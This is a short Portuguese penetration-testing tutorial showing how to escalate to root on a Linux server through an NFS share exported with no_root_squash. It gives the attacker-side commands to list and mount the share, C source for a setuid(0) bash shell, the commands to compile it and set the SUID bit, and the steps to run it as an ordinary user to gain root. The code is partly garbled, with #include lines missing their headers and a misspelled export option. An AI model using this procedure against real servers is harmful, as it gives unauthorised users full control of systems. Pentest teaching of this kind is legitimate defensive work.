É muito comum compartilharmos diretórios no Linux, porém temos que estar atentos as permissões que são atribuídas para evitar que um acesso indevido possa ser realizado e assim comprometer a segurança do servidor.

Este é apenas um dos exemplos do que já encontrei durante a realização de PenTest em diversos cenários.

Cenário

100SECURITY - 192.168.0.53 - Host do Atacante

docker - 192.168.0.111 - Servidor que possui o diretório 'arquivos' compartilhado

01 - Passo

No servidor docker, logue com um usuário comum no meu exemplo utilizei o : 100security , em seguida visualize o conteúdo do arquivo /etc/exports .

Linux
cat /etc/exports

# Shares
/arquivos *(rw,sync,insecure,no_root_squash,no_sutree_check)

02 - Passo

No host do Atacante execute o comando para exibir o ponto de montagem do servidor docker.

Linux
showmount -e 192.168.0.111

03 - Passo

Ainda no host do Atacante crie um diretório para realizar o ponto de montagem e liste o conteúdo.

Linux
mkdir share-remoto

mount -o rw 192.168.0.111:/arquivos /share-remoto/

cd /share-remoto/

ls -l

04 - Passo

Crie o arquivo shell.c com o conteúdo abaixo :

Linux
cat << EOF >> shell.c
> #include 
> #include 
> #include 
> #include 
> int main()
> {
> setuid(0);
> system("/bin/bash");
> return 0;
> }
> EOF

05 - Passo

Em seguida compile o arquivo shell.c e atribua a propriedade de SUID (Set User ID) no arquivo compilado : shell, em seguida liste o conteúdo do diretório utilizando : ls -la

Linux
gcc shell.c -o shell

chmod +s shell

ls -la

06 - Passo

Retorne ao servidor docker ainda logado com o Usuário Comum e execute o script shell para escalar o privilégio.

Linux
cd arquivos/

./shell

whoami

👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  Ferramentas de Exploração

© 2024 - 100SECURITY

Contato